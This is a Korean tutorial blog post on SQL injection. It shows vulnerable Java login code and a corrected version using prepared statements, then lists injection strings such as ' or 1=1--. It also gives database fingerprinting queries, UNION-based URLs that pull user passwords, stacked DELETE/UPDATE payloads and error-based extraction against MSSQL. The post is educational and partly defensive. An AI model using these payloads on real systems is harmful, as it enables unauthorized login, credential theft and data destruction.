안규 공부방

security > SQL Injection 에 대한 이해

등록일 : 2017-06-30 15:50 조회수 : 104,865

1. SQL Injection 의 이해



도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에 이를 가장먼저 알아보겠습니다
SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를 이용한 새로운 형태의 웹해킹 방법입니다
정의를 하자면 'SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다'  라고 할수 있습니다
즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데, 이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서 원하지 않는 결과가 나올수 있다는 것입니다 
 
이해를 위해 바로 코드로 들어가 봅시다
아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다
 
// 입력받은 사용자 아이디와 비밀번호
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) 
{ 
   // 로그인 성공로직

} else 
{ 
   // 로그인 실패로직
}
무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이 아이디만 안다면 로그인을 성공할 수 있는 로직입니다


아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;
입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다
하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?



로그인이 됩니다!
비밀번호에 상관없이 로그인이 되는군요!!
하나 더 보도록 하지요



위의 소스는 MySQL을 사용하고 있습니다
MySQL의 라인 주석처리는 # 입니다 아시죠?
즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~
같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다



이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다
이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다
그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?
 

// 입력받은 사용자 아이디와 비밀번호
String param1 = request.getParameter("user_id");
String param2 = request.getParameter("user_pw");

//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1);  
validatePW(param2);

pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");
pstmt.setString(1, param1);
rs = pstmt.executeQuery();

if (rs.next()) 
{ 
	// 문자를 직접 비교한다 (대소문자 구분)
 
	if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) 
	{ 
		 // 로그인 성공로직 
	} else 
	{
		 // 로그인 비밀번호 혹은 아이디 오류 로직
	}
} else 
{ 
//로그인 부재 아이디 오류 로직
}

위처럼 하면 어느정도 되겠네요 ^^

2. SQL Injection 패턴

그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?
아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

문자

설명

' 문자 데이터 구분기호
; 쿼리 구분 기호
--, # 해당라인 주석 구분 기호
/* */ /* 와 */ 사이 구문 주석

일반적으로 알려진 몇가지 패턴입니다

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or password like '%

이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?
SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다
AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요

AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다
rownum 도 구분할수 있는 좋은 예입니다
MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요
#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다 또 limit 등도 도움이 될겁니다

이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다

3. UNION SQL Injection

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만 UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다.

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다
 

String param1 = request.getParameter("boardno");
rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) 
{ 
    out.println(rs.getString(1)+"
");
    out.println(rs.getString(2)+"
");
    out.println(rs.getString(3)+"
");
}


글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL 

/read.jsp?bno=1134896409234 

하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #

그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!
그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?
오라클 이라면 다음과 같이 알아낼 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --

테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠
오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t' 

물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다
그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다
MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다
하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요

/read.asp?bno=1134896409234';DELETE FROM user_t
/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'


PHP나 ASP인 경우에는 가능한 쿼리 입니다
이제 대강 SQL Injection에 대해 감이 잡히시나요?

4. 에러 메세지를 통한 정보수집

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..
M$SQL인 경우를 예를 들겠습니다

/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int. 
/read.asp, line 5


라는 메세지가 나옵니다
여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다
그럼 여참에 비밀번호까지 알아봅시다

/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--


Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int. 
/read.asp, line 5


즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다
가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?

 
※ 혹시 도움이 되셨다면 댓글에 한마디 남겨주세요!
작성자   비밀번호
자동글 방지     (자동글 방지 기능입니다.)
내용   댓글달기 
이메일 문의 : cak0280@nate.com  
Copyright 2000 By ENTERSOFT.KR All Rights Reserved.